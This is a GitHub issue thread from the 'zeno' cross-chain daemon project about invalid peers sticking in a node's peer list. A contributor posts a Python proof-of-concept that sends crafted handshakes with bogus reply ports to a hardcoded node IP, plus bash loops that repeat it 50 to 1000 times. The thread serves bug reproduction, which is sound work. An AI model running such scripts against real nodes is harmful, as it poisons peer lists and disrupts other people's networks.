ssadler / zeno

Multiprotocol cross chain daemon
BSD 3-Clause "New" or "Revised" License
12 stars 4 forks source link

Invalid peers can get stuck in member list #5

Open ssadler opened 4 years ago

ssadler commented 4 years ago

This should not be a difficult one to solve, @alrighttt has a script which connects to a zeno node and can send an invalid reply port which ends up getting stuck in the node's peer list. Reproduction pending.

ssadler commented 4 years ago

Question: Was the invalid node propagated to other's peer lists? This seems impossible because nodes don't add a peer until they get a reply from them. But there could be a race condition somewhere.

Alrighttt commented 4 years ago

You'll have to forgive me for how imprecise my steps for reproducing this are. As you say, it's likely a race condition, so I won't spend any more effort trying to get the timing correct. It may take a few attempts for this to work. Let me know if you're having any trouble.

save this as test.py. edit the target variable to the node you're targeting Make it executable:

#!/usr/bin/env python3
import socket
import binascii
import sys
from requests import get

def make_payload(ip, port):
    static = '000000000000001c00000000000000'
    ip_str = ip + ":" + str(port) + ":0"
    ip_junk = binascii.hexlify(bytes(ip_str.encode('utf-8')))
    #get length in bytes of hex in decimal
    bytelen = int(len(ip_junk) / int(2))
    hexlen = format(bytelen, 'x')

    #get length in big endian hex, just copied this from another script, need to verify it works
    if bytelen < 16:
        bigend = "0" + str(hexlen)
    elif bytelen < 256:
        bigend = str(hexlen)
    elif bytelen < 4096:
        bigend = "0" + str(hexlen)
    elif bytelen < 65536:
        bigend = str(hexlen)
    payload = static + bigend + ip_junk.decode('utf-8')
    payload = bytes(payload.encode('utf-8'))
    payload = binascii.unhexlify(payload)
    return(payload)

def spam(payload, target_peer):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print(target_peer)
    s.connect(target_peer)
    s.sendall(payload)
    data = s.recv(1024)
    print('Received', repr(data))
    payload = binascii.unhexlify(b'0000000000000400')
    s.sendall(payload)
    payload = binascii.unhexlify(b'00000400000000000000040000000011e4dfbbb9aeaff2c844181d5f031f2cac00') 
    s.sendall(payload)
    #data = s.recv(1024)

    count = 0
    while True: #count < 10:
        data = s.recv(1024)
        print(len(data))
        count += 1
        #amount_received += len(data)
        print('received: ',data.hex())
    #s.close()

myIP = get('https://api.ipify.org').text

port = int(sys.argv[1])
target = ('195.201.137.5', 7766) # this is your target to add bogus peers to 

payload = make_payload(myIP, port)
spam(payload, target)

create a bash script in the same directory:

#!/bin/bash
for i in {1..50}
do
   echo "STEP $i"
   ./test.py $i
done

run this bash script and continually hit ctrl+c at different intervals in the terminal to stop the python script at different times. Sorry, I know this is very janky, but if it truly is a race condition, I'm unlikely to ever make the timing precise enough.

If you don't want to bother with this, let me know, and I will target your node myself.

ssadler commented 4 years ago

Can you check if this is still an issue?

Alrighttt commented 4 years ago

This issue still exists as of c97e6a44b9e6508b93413a6ca972fdbf47cd937e .

Again, if you don't feel like doing this, I can target your node. Almost certainly a race condition, so the following process might take a few attempts.

https://gist.github.com/Alrighttt/fd52f202f38dbc95ccfc71427382683f When it receives a connection, it will immediately close the socket. Can ignore most of what's in this script, I just threw it together with a script I already had written. The important part is that it's listening on ports 8888-8988 and immediately closes the socket.

Now quickly run this about 1000 times. for i in {1..1000}; do python3 send.py; done https://gist.github.com/Alrighttt/f0c570ebaa6efddd87c843147cf92ab6